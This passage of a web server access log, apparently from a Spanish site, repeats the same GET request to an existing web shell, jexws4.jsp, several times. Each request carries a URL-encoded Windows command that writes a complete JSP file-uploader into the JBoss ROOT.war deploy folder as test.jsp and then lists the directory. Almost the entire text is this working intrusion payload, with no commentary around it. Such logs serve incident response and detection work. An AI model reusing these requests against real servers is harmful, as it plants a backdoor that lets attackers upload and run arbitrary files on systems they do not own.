s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833391812 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833385655 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833379639 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataByt